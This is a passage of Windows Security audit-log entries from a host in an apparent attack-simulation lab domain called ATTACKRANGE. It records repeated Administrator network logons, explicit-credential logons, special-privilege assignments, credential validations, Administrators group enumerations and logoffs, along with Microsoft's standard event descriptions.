Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9DE30
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245463
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245462
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245461
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245460
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D950

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245459
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D950
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245458
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245457
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245477
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xA065C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245476
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xA065C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245475
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245474
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245478
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D950

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xc78
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245497
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245496
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB379E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245495
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB379E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245494
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245493
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245492
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB36BA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245491
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9DE30

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245490
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB36BA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245489
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB36BA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245488
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245487
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245486
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB3689

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245485
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB3689

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245484
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB3689
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245483
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245482
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245481
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xA065C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245480
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9FD2D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245479
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9E15D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245509
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0xB5E24

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
